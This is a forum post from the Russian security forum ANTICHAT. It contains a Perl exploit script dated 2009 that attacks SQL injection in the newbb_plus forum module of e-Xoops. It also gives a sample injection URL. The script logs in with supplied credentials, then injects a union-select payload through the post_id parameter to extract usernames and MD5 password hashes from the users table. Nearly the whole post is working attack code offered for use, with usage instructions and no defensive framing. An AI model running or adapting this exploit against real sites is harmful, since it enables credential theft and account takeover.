ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://localhost/modules/newbb_plus/reply.php?forum=1&post_id=-1662+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16+from+ex_users--&topic_id=397

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use Time::HiRes qw(sleep);
############################
#    options               #   
############################
#Опции и переменные


getopt("d:h:i:q:p:t:u:P:F:T");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_T) {
&logo(); 
exit();
}
if (!$opt_F) {
&logo(); 
exit();
}
$n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD)
$host=$opt_h;
$forum=$opt_F;
$topic=$opt_T;
$dira2="/";
$dira2=$opt_d if $opt_d;
$uid=1;
$err="mysql_fetch_array()";
$uid=$opt_i if $opt_i;
$zapr='concat(0x3a3a3a,uname,0x3a,pass,0x3a3a3a)';
$prefix='ex_';
$prefix=$opt_P if $opt_P;
$dira=$dira2."/modules/newbb_plus";
$page2="/reply.php?topic_id=".$topic."&forum=".$forum."";
#аутефикационные данные
$user=$opt_u;
$pass=$opt_p;


#############################
#метод посылки. По умолчанию get.

$method='get';
$method=$opt_t if $opt_t;


#############################
#   head                    #
#############################
# Имхо морда

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############                   module newbb forum e-xooport               #
 ############             coddddeeddd by The matrix (antichat.ru)          #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site] (default /)                                          #
 # -P [db prefix(default ex_)]                                             #
 # -i [user id]                                    deafault 1              #
 # -q [column(default concat(uname,0x3a,pass)]                             #
 # -u [username]                                                           # 
 # -p [password]                                                           #
 # -t [method]                                                             #
 # -F [forum]                                                              # 
 # -T [topic]                                                              #
 # exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1  -P pref_  #
 #  -i 2                                                                   # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# auth                      # 
#############################
#создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^)
sub auth() {
		print"	[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='login';
		$page1='user.php';
		$answer=$client->post(
		"http://".$host.$dira2.$page1,
[
'uname' => $user,
'pass' => $pass,
'op'=> $op
]
) ;
}


#############################
# тестируем печеньки        #
#############################
#В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу.

	sub test() {
	$response = $client->get("http://".$host.$dira2.$page1
	);
	$ans = $response->content;
	if ($ans =~ /edituser/){
	print"	[+]login complete";
	}
		else {
	print "	[-]login failed";
	}
	}
&logo();	
&auth();
&test();


############################
#  Сердце эксплойта        #
############################
# Создадим удобный сендер и приемщик. понадобится изменять всего две переменные
sub main {
	($method,$evil)=@_;
	$response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil."");
	$ans = $response->content;
$n++;
	}


###########################
#  отаке!!!!!             #
###########################
main($method,'-999+-1111+union+select+1,2,3,4,5,6,7,8,'.$zapr.',10,11,12,13,14,15,16+from+'.$prefix.'users where uid='.$uid.'--');

if ($ans =~ /:::(.*?):::/){
print "\n	[+] targer hacked";
print "\n	[+] User:password : $1";
print "\n	[+] algoritm=md5";
print "\n	[+] exploit finished";
}
else {
print"\n	[-]sorry exploit failed(prefix incorrect? forum unvulnerable? uid incorrect? topic_id or forum_id incorrect?";
}
#  (c) The matrix (antichat.ru) date 7 february 2009

http://localhost/xoop/modules/newbb_plus/reply.php?forum=12&post_id=1&topic_id=31&viewmode=flat&order=0